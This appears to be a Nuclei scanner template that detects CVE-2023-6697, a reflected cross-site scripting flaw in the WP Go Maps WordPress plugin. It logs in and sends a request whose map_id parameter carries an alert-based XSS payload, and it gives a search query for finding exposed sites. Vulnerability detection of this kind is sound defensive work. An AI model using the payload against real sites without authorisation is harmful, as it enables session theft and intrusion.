id: CVE-2023-6697

info:
  name: WP Go Maps (formerly WP Google Maps) < 9.0.29 - Cross-Site Scripting
  author: iamnoooob,ritikchaddha
  severity: medium
  description: |
    The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the map id parameter in all versions up to, and including, 9.0.28 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  impact: |
    Authenticated users can inject malicious JavaScript via reflected XSS in the map_id parameter, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Update WP Go Maps plugin to version 9.0.29 or later.
  reference:
    - https://wpscan.com/vulnerability/ffcebd9d-82fe-4a30-8ad6-cf6c03753d4c/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6697
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6697
    cwe-id: CWE-79
    epss-score: 0.0104
    epss-percentile: 0.60621
    cpe: cpe:2.3:a:wpgmaps:wp_go_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/wp-google-maps"
    vendor: wpgmaps
    product: wp_go_maps
  tags: cve,cve2023,wp,wp-plugin,wordpress,xss,wp-go-maps,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1aa%27\"><img+src%3Dx+onerror%3Dalert%28document.domain%29> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src="x" onerror="alert(document.domain)">'
          - 'Map Alignment</legend>'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220587526319e0ad5c363310c79753cc81ff679521a1dbcb23ef9cc4fb993d6d90c022100fecaf878118b583841ad3314738a52bb6ec255f6999ee7def6d02dcf3c1b3dfe:922c64590222798bb761d5b6d8e72950